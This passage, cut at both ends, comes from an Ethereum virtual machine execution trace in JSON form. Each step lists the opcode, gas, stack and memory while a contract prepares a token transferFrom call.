000000000000000000000000000000"]},{"pc":12751,"op":"SWAP4","gas":98818,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xffffffff00000000000000000000000000000000000000000000000000000000","0xcbf29dbd33b811bab2f0637e9f0fe4e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12752,"op":"AND","gas":98815,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0x220","0x240","0xffffffff00000000000000000000000000000000000000000000000000000000","0x23b872dd00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12753,"op":"SWAP3","gas":98812,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0x220","0x240","0x23b872dd00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12754,"op":"SWAP1","gas":98809,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x240","0xcbf29dbd33b811bab2f0637e9f0fe4e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12755,"op":"SWAP3","gas":98806,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12756,"op":"OR","gas":98803,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x240","0x220","0xcbf29dbd33b811bab2f0637e9f0fe4e7","0x23b872dd00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12757,"op":"SWAP1","gas":98800,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x240","0x220","0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12758,"op":"SWAP2","gas":98797,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x240","0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12759,"op":"MSTORE","gas":98794,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12760,"op":"PUSH2","gas":98791,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12763,"op":"JUMP","gas":98788,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x33b1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13233,"op":"JUMPDEST","gas":98780,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13234,"op":"PUSH1","gas":98779,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13236,"op":"PUSH2","gas":98776,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":13239,"op":"DUP3","gas":98773,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406"],"memory":["0000000000000000000000000000000000000000